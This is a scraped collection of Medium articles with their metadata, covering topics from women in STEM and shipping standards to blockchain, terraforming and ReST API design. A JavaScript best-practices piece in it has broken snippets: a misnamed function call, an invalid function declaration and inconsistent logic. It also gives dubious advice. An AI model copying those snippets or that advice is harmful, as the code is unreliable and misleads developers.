The failure of a ‘one size fits all’ approach to diversity is echoed in studies. A 2017 literature review from Birkbeck analysed studies of the experiences of African-American women academics and PhD students and found that while mentoring is particularly beneficial, women of colour face different forms of discrimination and therefore need additional support strategies.
There is change in the air. In March this year, the Marvel film Black Panther made headlines for its breakout star Letitia Wright’s portrayal of scientist and inventor Shuri, whose innovations help…well, to save the world. If the Scully effect holds true, then Shuri is an essential role model for black girls. Children from the American charity Black Girls Code attended a special screening of Black Panther as the guests of tennis champion Serena Williams and her husband, tech entrepreneur Alexis Ohanian, an event documented on Williams’ Instagram. Superheroes are one way young girls of colour might learn that they are welcome in STEM. We return to Stemettes CEO Anne-Marie Imafidon:
ANNE-MARIE: It’s interesting when we’re talking about STEM role models, I looked back and was a little bit frustrated that given the experience I’d had, like if there was anybody that was looking for girls that were technical, you would have found me and been like, hey Anne-Marie, join the X-Men, you’re one of the X-Men and come and join our organisation or a community or a program and I’ve never had that at all the entire way.
So yeah, I kind of started Stemettes as a response to all of that and the fact that we now have this Instagram generation where it’s not just about theorems and theories, but actually this is like real life from real stuff that they interact with anyway.
HOST: In the first ever episode of Nevertheless we interviewed Sue Black, who is mentioned at the start of this episode. In it Sue talked about her Stem Role Model Dame Stephanie Shirley and questioned why someone with her achievements weren’t as well know as male innovators. Sue has worked tirelessly to bring recognition to women whose achievements have been overlooked, inspiring may to choose a career in STEM. We return to Kim England again…
KIM: I think if I ever met Sue Black I’d probably be star struck at for a couple of minutes… then I would just say thank you. Actually I would say thank you for doing what you’re doing. Please keep doing what you’re doing, um, and in and continue to inspire another generation of women in technology.
CREDITS:
Nevertheless is a Storythings production — Series Producer is Renay Richardson. Executive Producer Nathan Martin and Anjali Ramachandran. This episode was produced and written by Tracy King. Music and sound design by Jason Oberholtzer and Michael Simonelli, supported by Pearson, and presented by me, Leigh Alexander.
This season we’re shouting out some unsung heroes in STEM and the first person I’m shouting out is Janelle Shane. Go to aiweirdness.com to find out more about her work with neural networks. | https://medium.com/nevertheless-podcast/episode-1-stem-role-models-7c30d2c68392 | [] | 2018-09-27 13:19:11.595000+00:00 | ['Role Models', 'Technology', 'Women In Tech', 'Storytelling', 'STEM'] |
2,226 | Port to Port, Shaking Up The Standards | There are certain things that are done in polite society, and we never really question them. As an example, a decanter of Port, like a dutchie, is passed ‘pon the left-hand side. Why? Who decided, how and what was in it for them? It is a little like standards and maritime informatics, why do we do what we do?
LED BY ETIQUETTE
First off, let’s finish off the Port issue. According to those wonderful people at Taylor’s, once a vintage Port is served tradition dictates the decanter should be placed on the table to the right of the host or hostess.
It should then be passed to the left, travelling around the table from guest to guest in a clockwise direction until it comes back to its starting point. There are many colourful explanations for the custom of passing the Port to the left. One theory is that the custom arose from the need to keep one’s sword arm free in case of trouble. Tipsy people with swords, what could possibly go wrong.
It is sometimes said to have originated in the Royal Navy where the rule was ‘Port to port’, meaning that the decanter should be passed to the left. The reason we do the same today is quite simple. If the decanter keeps moving in the same direction, every guest has the opportunity to enjoy the wine and no one is left out.
There are more rules. If someone is slow in moving the decanter on, they are asked if they know the Bishop of Norwich…he tended to fall asleep at dinners, and so the Port would stop circulating. Indulge me even further for a moment…I was once sat next to HRH Duke of Edinburgh at a maritime shindig. Being a little overexcited, I somehow forgot my Port and sent it Starboard, passing it back the wrong way. He seemed displeased, as only he could…Anyway, I digress.
WHEN TRADITION BECOMES THE RULES
What the Port and the direction of passing tell us, is how things have always been done tends to persist. People like certainty, they like to know what is expected and they are happy to be part of that.
People don’t like surprises (in the main), and so we see so much of what is done in shipping is based on what has gone before. We do it that way because they did it that way, and they did it that way because their forefathers did.
Things become entrenched and it can be hard to make the leap forward. Even a step forward can be a challenge sometimes. Indeed, we see that traditions are very important in shipping.
A tradition is a belief or behaviour passed down over time. The culture into which the tradition passes is also important, and shipping has a very long past indeed. Hence many different ways of thinking and of ways of doing things have persisted. That is the culture within our industry, and it has added to the rules and helped sustain them.
WHY WE DO WHAT WE DO
Such a culture represents shared norms, values, traditions, and customs — and the maritime industry had long been guided by certain ways of doing things, some shaped by the need to be safe and healthy at sea, others because the money people have looked to embrace things such as finance, bills of lading and ways of providing insurance.
It may amaze us today, but the operation of ships is still very much influenced by strong cultural processes. There are very distinct rules and norms that are transmitted between seafarers and shipowners across time and generations.
Traditions represent a critical piece of our maritime rules culture. They help form the structure and foundation of our crews and companies and remind us that we are part of a history that defines our past, shapes who we are today and who we are likely to become.
It has long been thought that once we ignore the meaning of our traditions, then we are in danger of damaging the underpinning of our identity. This is why we so often see that standards evolve, and at their core, they are shaped by traditions and ultimately our culture.
GOOD AND BAD STANDARDS
Modern shipping and standards are very close bedfellows indeed. Shipping loves standards. Indeed, so much of what we do is about a standardised approach and making sure that all parties in the chain adhere to the standards that are imposed upon them. So we have shipping based on standards, and ones that are negotiated by those using them — the self-licking lollipop effect.
In theory, this should be a good thing. Alas, in reality, what can happen is that the standards aren’t actually that demanding and we find a race to the bottom and a compliance culture that can and does encourage those who can get away with doing the bare minimum to do so.
Shipping’s proud traditions have actually rested on the lowest common denominator. This means it is very hard for excellence to seen as a goal, as compliance is sufficient. Standard in some definitions means average, and that is what we so often get.
This all makes it doubly worrying when we hear such a clamour amongst the shipping industry to have standards for data and maritime informatics. Standards that will no doubt make sense for one split second, but will almost instantly be rendered useless and embarrassingly outmoded.
STANDARD ANSWERS
Very often the issue of standardisation is a poorly understood discipline. Standards can be viewed in many ways, they can be economic, policy led or technological. They can drive change or stultify it. It used to be thought that the sum of human knowledge doubled every century, and then every 25 years, now it doubles every 12 hours.
To such a backdrop of such incredible change, standards can be at one point a tool for progress, and yet can be a noose to strangle further evolution or improvements. At their best standards prevent bad things from happening, but alas they are not overly useful at helping good things come about.
Nearly every industry is affected by standards, some more so than others, and shipping is probably one of the most highly regulated. Standards are often the hallmark of a mature industry or society, as they provide levels of certainty and interoperability. You can mesh things together when everything is standardised runs the argument.
However, you only have to look at the unseemly struggle between the UK and EU on the issue of standards to see that this is something that matters a great deal. Standards matter, standards set the agenda and narrative when talk turns to whichever arena we are operating in. The power holder sets the standard.
STAGNATION BY STANDARDISATION
So, as we see, shipping loves a good standard, and alas this often means the industry has tended to be far more interested in compliance than it ever really has about excellence. This is important, as when we see standards as the lowest common denominator, then it means that progress can be very hard to come by.
The areas we are looking at, of maritime informatics and the digitalisation of shipping, are constantly moving, changing, advancing and evolving. There is a real danger in that applying standards then all the good which can come will be sacrificed for some jaundiced, sickly kind of certainty. Instead of standardisation, we need ethics and morals, and then to be let loose to develop and make magic happen.
It is not like standards are easy they aren’t. They are hard to develop, they take time, agreements and compromise. Even where this is possible, they then only provide a snapshot in time of what was possible, and which was ultimately deemed as that which should be possible.
It should be remembered that while standards can bring some degree of certainty, and of course make it easier to check and balance against, what they also do is act like a brake. They slow innovation, and at the time when all of us in maritime informatics are standing on the shoulders of giants such as Mikael Lind and his work, there is a danger that instead of seeing over the horizon at the potentially wonderful things we can develop for the industry, instead, we will just see a wall…one stamped with the word “Standard, Do not Pass”. | https://medium.com/@captainstu/port-to-port-shaking-up-the-standards-669e76086a | ['Captain Stu'] | 2021-07-14 12:50:41.336000+00:00 | ['Shipping', 'Maritime', 'Maritime Informatics', 'Technology', 'Etiquette'] |
2,227 | How Tech Is Keeping up With the Times | Emerging Tech Roundup — December 04
The Quantious team’s top picks for timely trending news in the tech world.
This week in tech: AI helps predict severe pneumonia in Covid patients, Facebook acquires Kustomer, Salesforce buys Slack, Microsoft and Code.org partner to teach AI + ethics, facial recognition software upgrades to work on people wearing masks, Google AI creates an endless loop of Billie Eilish covers, a senior living facility brings in VR for its residents, and ARtillery Intelligence looks at the VR Forecast from 2019–2024.
AI Predicts 96% of COVID-19 Pneumonia Cases That Will Require Intensive Care
(Science Alert, November 29)
Rensselaer Polytechnic Institute researchers developed an algorithm that predicts if COVID-19 patients will require additional treatment, including ICU intervention. Using the AI-based tool, medical centers will be able to better determine the right course of treatment for each patient. The tool makes its prediction based on CT images of the patient’s lungs, as well as other data like lab results, vital signs, and demographic information. Researchers believe that this tool can be used for not only COVID-19 but for other lung diseases as well.
Facebook to Acquire Start-Up Kustomer as It Faces Antitrust Glare
(The New York Times, November 30)
Facebook is at it again, acquiring a customer relationship management (CRM) company called Kustomer. This $1 billion deal aims to improve the company’s social commerce offerings. By using Kustomer’s AI technology, Facebook is looking to analyze customer messages and generate replies via chatbots. Kustomer gathers customer data from several different avenues, which companies using Kustomer’s services can then see in a centralized view for convenience and research purposes.
Salesforce Buys Slack in a $27.7B Megadeal
(TechCrunch, December 1)
Having recently passed $20 billion in annual revenue, CRM leader, Salesforce, announced its acquisition of Slack in a $27.7 billion deal. As a tool for enterprise collaboration, Slack is a strategic acquisition for Salesforce to enable communication among customers and partners. The deal aims to put Salesforce at the top of the pack against competitors like Microsoft with its Teams product. Slack is likely to help Salesforce emerge as a leader in this space by integrating easily with other enterprise software and giving customers a centralized location to work and interact.
Microsoft, Code.org Partner to Teach AI + Ethics from Elementary to High School
(Code.org, December 1)
Artificial Intelligence is spreading to more aspects of everyday life — from smart speakers to self-driving cars, we’re only just beginning to discover its potential use cases. To help tap into the potential of this technology, Microsoft recently donated $7.5 million to Code.org to provide a comprehensive approach to teaching elementary and high school students about AI. Exploring not only how AI works, but also the ethical considerations that accompany this technology and its use cases, the curriculum aims to help students explore the wide-reaching impacts of AI.
Facial Recognition is Getting Better at Making Matches Around Face Masks
(CNET, December 1)
Facial recognition algorithms have improved, better recognizing people’s faces while they’re wearing masks. However, according to research conducted by the National Institute for Standards and Technology (NIST), error rates are higher when masks cover more of a person’s face. Round masks generate fewer errors than lengthier ones, and black and red masks cause more errors than light blue and white masks. Since May, NIST has been analyzing independent test findings from different facial recognition algorithms, and they found that error rates are still higher with masks, ranging near 5%, while errors without masks hover around 0.3%.
Google’s AI Experiment Syncs every ‘Bad Guy’ Song Cover in an Endless Video
(The Next Web, December 2)
Google has been experimenting with AI-based musical technology, and they have created an infinite version of Billie Eilish’s hit song, “Bad Guy.” Using YouTube‘s ContentID system, the newly-developed tool syncs all of the YouTube covers of the song in clips sequentially, until the song ends. To accomplish this, Google trained a recurrent neural network, technology often used in speech recognition, to play different cover videoclips in a new sequence every time the song repeats.
Commonwealth Senior Living Brings MyndVR’s Virtual Reality Program to its 33 Communities
(Yahoo Finance, December 3)
Commonwealth Senior Living has partnered with MyndVR to bring its virtual reality program to all seniors living across Pennsylvania, Maryland, Virginia, and Tennessee. MyndVR was designed specifically for seniors to immerse them in a variety of fun virtual experiences. With it, seniors will now be able to enjoy a variety of experiences — from pets to music, traveling, art and more. The best part is that they’ll be able to do so all from the comfort of their homes.
VR Global Revenue Forecast, 2019–2024
(ARtillery Intelligence, November 30)
ARtillery Intelligence conducts market sizing several times a year centered around virtual reality. In their latest report, they took a focused approach to study VR solely, exploring the revenue outlook for key categories like VR hardware, software, consumer and enterprise. Overall, their outlook toward VR is cautiously optimistic. The full report includes financial models that cover things like unit sales, company revenues, pricing trends, market trajectory and more. | https://medium.com/@wearequantious/how-tech-is-keeping-up-with-the-times-5f36d566dda | ['Quantious Team'] | 2020-12-04 22:30:22.121000+00:00 | ['Slack', 'VR', 'AI', 'Technology', 'Tech'] |
2,228 | When is Blockchain the right solution? | “A Blockchain is a digital, immutable, distributed ledger that chronologically records transactions in near real-time. The prerequisite for each subsequent transaction to be added to the ledger (collection of records) is the respective consensus of the network participants (called nodes), thereby creating a continuous mechanism of control regarding manipulation, errors, and data quality”
For Introduction to Blockchain, you can check the article below
Blockchain fit assessment framework has to be followed to evaluate whether a particular process or use-case is the right fit for a Blockchain-based solution.
The blockchain fit assessment framework can be explained better by any use case. The use-case that I will be using to explain is the Vendor financing use case by Banks. | https://medium.com/@mahesh-singh-madai/when-is-blockchain-the-right-solution-5716719f9778 | ['Mahesh Singh Madai'] | 2020-11-21 04:49:28.246000+00:00 | ['Blockchain', 'Supply Chain Management', 'Information Technology', 'Blockchain Startup'] |
2,229 | JavaScript Best Practices — Mutations and Security | Photo by JOSHUA COLEMAN on Unsplash
Like any kind of apps, JavaScript apps also have to be written well.
Otherwise, we run into all kinds of issues later on.
In this article, we’ll look at why and how to avoid mutations and complexity.
Also, we look at security issues.
Don’t use Proxy
Proxy adds side effects to object operation, so we may want to avoid them to reduce complexity.
For instance, instead of writing:
const handler = {
get(target, key) {
return Math.max(target[key], Infinity);
}
};
const object = new Proxy(variable, handler);
object.a;
Instead, we create a function:
const bigProperty = (target, key) => {
return Math.min(target[key], Infinity);
}
positiveProperty(object, 'a');
Reduce the use of Rest Parameters
Rest parameters are handy because we can pass in any number of arguments into a function.
However, it’s better to have explicit parameters since they’re easier to deal with.
A function with rest parameters doesn’t work well with currying since there is an indefinite number of parameters.
Therefore, instead of using:
const sum = (...nums) => {
return nums.reduce((a, b) => a + b);
}
We write:
const sum = (nums) => {
return nums.reduce((a, b) => a + b);
}
nums is an array in the 2nd example.
Having one fixed parameter is better than an indefinite number of arguments in an array.
Reduce the use of this
The use of this should be reduced since the use of this means we have a mutating internal state.
Also, this is confusing in JavaScript.
Therefore, it’ll be a mess if we use it. The value of this changes according to scope.
The use of throw
We shouldn’t use throw too much. It should be reserved for issues that we can’t resolve in our app.
It also should be used for the most critical errors so that everyone can see them right away.
In other cases, we may want to return data instead of in our function.
So instead of writing:
const throwAnError = () => {
throw new Error('error');
}
We may write:
const returnAnError() {
return new Error('error');
}
No Unused Expressions
We shouldn’t have any unused expressions in our code.
So things like:
1 + 2
shouldn’t be in our code since it’s useless.
Instead, we should assign expressions to a variable or pass them in as arguments of functions to use them.
So we can write:
const sum = 1 + 2;
No valueOf Fields
valueOf fields are useless since it just convert a value stored in an object into a primitive value.
This is a roundabout and confusing way to create primitive values.
Instead, we should just create primitive values instead.
So instead of writing:
const obj = {
value: 200,
valueOf() { return this.value; }
};
We just write:
const a = 200;
Always use new with Error
Error is a constructor, so we should use new with it.
In JavaScript, it’s easy to skip new if the class syntax isn’t used.
We’ll get unexpected results if we forgot it in other places.
So to be consistent, we should use new everywhere, including when we’re creating Error objects.
For instance, instead of writing:
throw Error('foo');
We write:
throw new Error('foo');
Security Risks
There are security risks with things like regular expressions.
We should be careful when using them so that they don’t break our apps.
Regular Expression DoS and Node.js
Node.js has issues with big regular expressions which are checked against long strings.
These big expressions block the event loop and so our app will be stalled until the code finishes running.
Since Node.js is mostly single-threaded, we’ll have issues with big regex checks.
Regex with some attributes like grouping with repetition creates more issues than others.
So if we have an email regex like:
/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/
which has many groups, then Node.js will be slow in checking strings against that regex.
Photo by Scott Webb on Unsplash
Conclusion
We shouldn’t use proxies most of the time to simplify the code.
The use of this should always be reduced so as to reduce confusion and the chance of errors.
Also, we should check if a regex won’t stall our Node.js program before using it.
JavaScript In Plain English
Did you know that we have four publications and a YouTube channel? Find them all at plainenglish.io and subscribe to our YouTube channel! | https://medium.com/javascript-in-plain-english/javascript-best-practices-mutations-and-security-89b543bd473b | ['John Au-Yeung'] | 2020-06-24 15:32:25.151000+00:00 | ['JavaScript', 'Software Development', 'Programming', 'Technology', 'Web Development'] |
2,230 | Blockchain & The Law: Are Smart Contracts Legally Binding? | There’s one single prevailing question that gets asked no matter what type of company consulting for:
Are Smart Contracts legally binding?
TL;DR
Quick Wrap Up: I personally dont think this is a cut & dry, either/or, yes/no type answer. We should NOT be be pushing for Blockchain to replace the law (code wont be ready for that any time soon). We should be building the Blockchain to be a supplement to making the law work more effectively in our era of new technology.
The answer gets complicated, quick. But the end result is:
Code is Code and Law is Law. Code can be programmed to act in a way that law considers illgal. If running code is illegal or breaks a law, the law supersedes and regulates the ability to execute that code.
People can use legal code in illegal ways.
If you’re a bad actor, the law will get you. But, at the moment, in the end those who have the gold, have the gold. The best analogy is a robber in an American Western: The law finds out who robbed the bank, brings them in, put ’em behind bars, but the gold is still buried out there under a toombstone somewhere.
Until now… (read to end for more on this)
How Can Blockchain Assist The Law?
An easy example to take a look at is Copyright Law. One of my companies (nomcre.com) makes media.
Technically, we own the copyright as soon as the media is created. But, if the first place we publish that media is on a Social Network, likely the copyright is compromised.
If someone downloads one of our photos and adds an InstaFilter + a logo, very few computer programs can even understand how similar the images are.
Take a look at YouTube as an example. It is against the terms of service to post someone else’s work. Even still, a bunch of users create ‘lyric’ videos for music that belongs to artists. They post it on a channel that does NOT belong to the musician and profit from the views. It became such a problem, that YouTube put policies in place to verify and validate accounts before they could profit from this kind of shady, if not illegal, activity.
YouTube , Facebook & Instagram will all reject a video if it has a song in the video, if they can prove the copyright to that song belongs to someone other than the person making the post.
TikTok has very specific rules about how you can use other people music, along with providing music clips that they’ve negotiated a specific license to include <15 seconds of a song.
So, that should be the end of the story right?
Well, what happens in the real world is a lot like adding an InstaFilter. The publishers of these lyric videos, slow down or speed up, the song just enough that the software cant catch it as a ‘sample of copyrighted material’.
In this type of a case, what happens?
To a human the copyright is still being violated. To a computer the changes to someone elses source material are great enough to condiser it an original work. So what now?
This is where the blockchain can assist the law.
While Record Labels have enough money and experince to know that they have to actively submit for copyright any creative for which they want to protect… Most artists may not even know that they have to. Convential Common Law on Copyright used to be pretty straight forward. But in the digital age, things have taken a few wonky murky turns.
How does an artist (read: photographer) copyright their work? You’d think posting it to Social Media so that they could prove the first use would be good enough but that argument won't stand. There are a bunch of websites that will let you swap out the image that shows up for a specific link (vimeo does this with videos if you want to add a new version), or delete the image entirely.
If an artist were able to submit a hash of their work to the blockchain, the court would have a true record of first use. Blockchains are fundamentally a record keeping service, and one that cant be changed after a record is made. The tansactions holding an image can serve as a timestamp to PROVE first use beyond a reasonable doubt.
But what happens when someone else adds an InstaFilter to the photo and posts it as their own?
The law comes in to play.
Copyright is a legal construct not a technological one.
By submitting the image, the hash of the image (that can be used to look up a timestamp & prove the image being submitted is the one on the blockchain) and the Image that is accused of violating Copyright, a human court would have all the evidence they needed to make a ruling in the favor of the original owner.
Obviously the idea isn’t limited to pictures and video… the same can be done with Books, Songs, Code, Poems, Podcasts, Broadcasts, process diagrams, patents, and so much more.
Imagine a world where internet publishers had been legally de-incentivized to copy their competitors work. What a world that would be :) | https://medium.com/@developingzack/blockchain-the-law-are-smart-contracts-legally-binding-3de47ea8926 | ['Zachary Weiner'] | 2020-09-02 21:02:55.769000+00:00 | ['Smart Contracts', 'Technology', 'Law', 'Future Technology', 'Blockchain'] |
2,231 | Be a champion today | 2. Hike like you’re in Ahaggar National Park
When you hike through Ahaggar National Park in Algeria, each step builds off the last. Great views will come into your vision. And, if you’re in the right place, you’ll catch a sunset behind Mount Tahat.
Your career should resemble such a wonderful hike. Or, perhaps your career is a wonderful hike if you’re lucky enough to be a pro hiker. Anyway, everything you’re doing should be working towards a beautiful peak or finish. If you ask Kamel about his career, you get this feeling.
Having started with Djezzy in 2006, Kamel first worked as a call center advisor, learning a lot from his direct communications with customers. Then, he took a position as a copywriter for the company before working in advertising management. This eventually led to his role as a Brand & Communications Director today.
Kamel and the team
“Each position has been a step to the next one,” notes Kamel. “I completely understand the vision Djezzy has and I’m getting better and better at fulfilling that vision for this awesome company.”
For Kamel, success hinges on continuous improvement and a willingness to learn and try new things. If you ask him what advice he would give his childhood self, he echoes similar sentiments.
“I would tell myself: Never give up. Learn from your mistakes. Always work on getting better. And be open and listen to others”
Read Kamel’s last tidbit of advice to his childhood self (about listening to others). It brings us to this point: If you are to be a champion, you can’t do it all alone (it’s best to hike through the Ahaggar Mountains with partners, too).
“Reaching your highest potential goes beyond just improving your skills and self-confidence,” asserts Kamel. “You must understand teamwork and know how to work with others to get to where you want to be. That’s why at Djezzy I’m constantly working on building team spirit.”
The new recruitment space at Djezzy
3. Airport signs say “welcome” in all sorts of languages
You’ve probably seen those signs in the international airport that say “welcome” in many of the world’s languages. Kudos to you if you can read all or most of them.
Anyway, the lesson here is that you have to speak to your customers in their language.
Kamel recognized the importance of this while managing copywriting campaigns for Djezzy. That’s because there is a unique mix of languages and dialects used in Algeria.
Throughout Algeria, Berber languages and dialects are spoken. In the north and northeast, you’ll commonly hear Kabyle; in the east, Chaoui is used; in the Algerian Sahara, it’s Tuareg. Arabic is a standard language in Algeria and is the mother tongue for many in the country, which means it’s heard everywhere. French is also used in commerce, government, and education, and is frequently encountered in major cities. In the west, there is even an influence from Spanish.
In many regions, Algerians blend words from other languages with their native tongue, creating their own dialect. This is part of what makes Algeria so magical. But it also makes work as a copywriter more complex.
“We had to use language people were using in their daily lives — because Djezzy is all about connecting to the person,” says Kamel. “We found ways to write customized copy for each region, while maintaining our unifying campaign theme.”
Kamel and the team
To make sure such copywriting campaigns work, Kamel believes in testing and looking at the data. Because you have to speak to the customer on their level.
“For instance, we found out from our Facebook interactions that many users wanted Arabic subtitles for our French press conferences,” describes Kamel. “So now we’re doing that for all our videos.”
So, if you want to succeed with your customers, find the right language and words to reach them. As you make your pitch to them, listen to your customer’s reactions — and adjust accordingly.
4. Cook something special for your customers (literally and figuratively)
“Djezzy wants to connect to Algerians’ lives,” exclaims Kamel. “We have a show called Djezzy CLYC on our YouTube channel. This is where we talk about new product launches, new offers, and more. We’ve also sponsored MasterChef Algeria — a show all about making great food!”
Like Kamel has stated, culinary art is one of the pillars of Djezzy’s brand development. Djezzy sponsors MasterChef so that the company can align its brand with Algerian culture. That means being there when it comes time to discover culinary arts (we want to be there for the delicious meal, too!).
Before you go check out the MasterChef show, which will make you super hungry by the way, understand the deeper meaning here. It’s that you must prepare something special for your customers.
To satisfy your customers, you must give them something they would like. After all, you wouldn’t cook a dish for guests if they hate that dish. This is why Kamel is always looking at the data: He wants to know what his customers like.
The idea here is simple: You cook the flavors your guests prefer (i.e. your customers). If you ignore their tastes, you risk a meal going to waste. Make a dish they like, and you’ll be a champion.
5. Some experts are saying even robots need sleep
Even if you’re actually a robot, you still need sleep. You can’t go at full blast all the time; you’ll burn out before becoming a champion. In fact, some experts are saying that robots do need sleep to function better. So don’t feel bad for taking a break.
“I love spending time with my family and having meals with them,” says Kamel. “I like to play video games, like FIFA. I like to play football with friends and also with my son!”
Again, we’re back at football. We wonder how good robots will be at football. Anyway, you get the point here. If you want to be a champion, take time for rest and fun along the journey. It’s the only way you can reach the pinnacle of excellence.
Keep on pushing towards the top
Kamel has given you his tips on how to be a champion. Now, your mission is to just do it. As you go on your journey, remember the value of persistence — a value Kamel’s team members say he’s instilled in them. Persistence is what will get you to that beautiful destination (well, that and culinary art and football). | https://medium.com/djezzy-careers/be-a-champion-today-fa17447a5aaf | ['Veon Careers'] | 2018-12-14 13:26:56.037000+00:00 | ['Technology', 'Social Media', 'Marketing', 'Music'] |
2,232 | Aura Terraforming Planets Bot by Bot | Currently, our planet is struggling. With our global population rising and us slowly running out of resources, we must find a solution to help our tired planet Earth. Different solutions aid the health of the Earth but not the rising population. With our population at 7.8 billion(2020) and counting, you might think that we need to find another planet to call home and adapt to it. The truth is that we can make a new home using the planets nearby us like Mars and Venus.
So, a week ago when my partner, Aryan Khimani, and I were participating in the TKS moonshot hackathon we absolutely had to develop this idea of terraforming.
What is Terraforming?
Terraforming is the hypothetical process of modifying other planets or moons to make them more “Earth-like”. This is done by modifying the atmosphere, temperature, and surface topography of the planet. By doing this we have more chances of us surviving and creating a new colony on a previously uninhabitable spacial body.
Aura
At Aura, we have the idea of terraforming different planets using nanotechnology. We’d send over many nanotech “Terrabots” to do the daunting task of terraforming. Instead of having to go through the logistics of sending a human being over, Terrabots are much less expensive to ship and they can do the task with more efficiency.
Nanotechnology?
Nanotechnology is a technology built on a minuscule level. It is currently being used in medical fields such as treating or preventing disease. We want to introduce a whole new level of nanotechnology with our Terrabots.
Our Mission
Our goal is to save our planet while creating new planets to expand the human race’s grasp on our universe. We must save Earth and take the next big leap for humankind by terraforming
“I don’t think the human race will survive the next thousand years unless we spread into space. There are too many accidents that can befall life on a single planet. But I’m an optimist. We will reach out to the stars.” — Stephen Hawking
As I mentioned, terraforming is no easy task. Sending humans to do it is even harder. From supplying the requirements necessary for them to survive like oxygen tanks and food to stabilizing pressure. It’s quite difficult. But, it isn’t as expensive to send the Terrabots over and they do not need food to survive. Instead, they’d use solar-powered energy to keep them going. Terrabots are less expensive to ship because due to their nano size they weigh less. Also, Terrabots are way more reliable because they are less prone to mistakes that humans may make.
How are we going to do this?
Step 1: Fixing Earth
We need to start at our home base. Our mission is to save our planet Earth before it’s too late. Before going out and modifying other planets, we need to solve our own problems on Earth. This would be to aid efforts with climate change by absorbing Co2 and other greenhouse gases.
Step 2: Disrupting Space
After taking the first big step for our company the only way to go is up, literally and figuratively. Starting what we call “The Great Expansion” our technology will enable us to set-up a permanent residence outside of our blue planet and allow us to expand into the solar system or even further into the vast universe.
The steps to set up a colony:
We need a base for our earth-bound human respondents where they’d operate the Terrabots. Make the planet’s atmosphere and magnetic field more suitable for creatures to survive. We need to regulate the temperature over some time until it’s stable. We start the process of which we change the terrain of the planet to make oceans and land for infrastructure. We’d need to introduce human life to the planet. We’d need to make sure that everything is correct.
Step 3: The Future of the Future
Once we succeed in our goal of expanding the human race, it will make our tiny spark of an idea into a flame that would power a revolution, accelerating us from a Type I to Type II civilization. (Kardashev Scale)
Paving the way for humanity’s future
Everything has its own limitations and our Earth is quickly approaching hers. We can reverse these changes by terraforming. With the aid of our Terrabots and other advanced tools in geoengineering, we will not only be able to help Earth recover faster but also advance into making other planets like Venus or Mars more habitable.
Our growing population will soon get out of hand and we will need more space. Geoengineering an existing planet will create a new place to live for more of humanity. We will also gain more resources by extracting the minerals from the planet. Though this time we will not make the mistake of ruining our next planet. Our company isn’t just a solution to the biggest problems that we face today but also provides support for humans to take the next big leap into the future.
Our Vision
We want to live in a world where our Earth is no longer burdened by overpopulation or climate change. Where humans have expanded their colonization to other planets and have formed new societies or cultures. It will be the best hurdle to overcome.
This is a really important step in securing our future. Either we live on a deserted planet, barely staying alive or have a prosperous community stretching far into the universe. And anyway, who is going to save the planet if not us?
Contact us:
[email protected]
[email protected] | https://medium.com/@olivka-rozenberg/aura-is-terraforming-damn-planets-2b02dc8c421e | ['Olivka Rozenberg'] | 2020-12-12 23:45:41.185000+00:00 | ['Space', 'Planets', 'Future', 'Technology', 'Terraform'] |
2,233 | ReST API Design: A Beginner’s Guide | Photo by Kaleidico on Unsplash
As a developer, chances are you have created, consumed (or both) APIs at some point in your career. If you are a mobile/web/UI developer, you have definitely interacted with APIs because the data to be displayed needs to come from somewhere and if you are a backend developer, you have definitely created APIs to interact with other services (UIs and other backend services alike).
One of the best things available to software engineers especially those that have to build APIs is the availability of an RFC for all things API related: status codes, headers, cookies, request/response bodies etc. With that said the not-so-good part about this is the fact that the RFC is just a spec i.e. teams can choose to follow them or not.
There is nothing that will stop a backend service from running if it sends back a successful response for an app crash. The spec is great when followed but nothing forces teams or frameworks to follow them.
But it is important to note that popular frameworks like Spring do force teams using them to follow some of these standards (e.g.: Cannot specify a request body for a GET request).
Getting back to the RFC, these specifications exist for a reason and creates a standard across all backend services. If I work on creating a backend service “A” that follows the RFC and then move to either creating another service “B” or making calls to third-party APIs, it would be SOOO helpful to have all these services follow a pre-defined spec. It ensures consistency because all services speak the same language.
In this post, I want to touch on how I like to get started with designing APIs. I don’t claim to be an expert by any stretch of the imagination and this post only aims to provide a starting place and not a deep dive. So, with these disclaimers out of the way, here is how I get started with designing APIs:
API Naming
API routes are the entry point to any backend service. Here are a few considerations as far as naming goes:
Identify the resource
If your application has a concept of user accounts and you are creating APIs that capture user login history (let us just assume the application needs this and users love this feature), one way to model the login history API would be to nest login history under users i.e. / users/{userId}/loginHistory. This is a clear and well-defined API that defines the hierarchy of login history. This is important because now you know login history is not its own stand-alone resource instead it is part of the user resource and always belongs to a user (identified by a userId).
Come up with a consistent API naming strategy
There are a few popular ways to name APIs. You can use a hyphen or camel casing (among other options, I am sure).
If we were to use hyphens loginHistory would look like this:
/users/{userId}/login-history
If we were to use camel casing loginHistory would look like this:
/users/{userId}/loginHistory
I am not sure if there is a hard and fast rule here except picking one and sticking to it. Consistency for the win!
Identify the operations
After we have identified a resource that needs to be managed, the next step is to identify what operations can be performed on those resources. Usually this is a subset of CRUD (Create, Read, Update, Delete).
Sometimes you only want to allow users to create something and not update it (could be you want to force users to delete a resource and re-create it without allowing them to update it).
After the operations have been identified we pick HTTP verbs. So for our example where we want to manage user loginHistory, we could decide we only want to allow the creation and fetching of user loginHistory and not allow updating and deleting.
HTTP Verbs
HTTP verbs tell the consumer of an API what operation the API provides. Most popular ones are:
GET: Read or fetch a resource
PUT: Update or modify a resource
DELETE: Delete a resource
POST: Create a new resource
It is important to use the right verb because that is like the unspoken language of what to expect in the response to an API (For example: A post more often than not returns the newly created resource in the response body with a 201 response status code, where 201 stands for CREATED).
The verbs also tells the user what they may need to provide in the request including if a request body is even allowed (if the RFC is followed). For example GET requests generally do not have a request body (because whatever identifier is needed to uniquely identify and get a resource should be a part of the URI/API route vs in the request body of a GET request).
While on the topic of HTTP verbs, I want to quickly talk about a couple of other not very commonly used HTTP verbs: HEAD and PATCH
HEAD
The HEAD verb is VERY similar to the GET verb except that the HEAD request cannot contain a response body. The HEAD request is used to test is a given URI is available. For example if we want to check if user with userId “123” contains loginHistory, we could make a HEAD request to /users/123/loginHistory and if that came back successful, we could follow up with a GET request to the same URI. This saves bandwidth while making requests to a certain URI especially if the response is huge.
PATCH
The PATCH verb is very similar to the PUT request and is also used to update a resource. The main difference is that a PUT request replaces the entire resource meaning all the fields of the resource whether or not they are being updated need to be passed to the API when using a PUT verb. But when we use a PATCH request we only need to pass instructions that will be used to update the resource including what needs to be done and which field update should be applied to.
In the case of our example, given we have decided to only allow users to create and get their loginHistory our APIs could look as follows:
POST /users/{userId}/loginHistory
GET /users/{userId}/loginHistory
Request Body
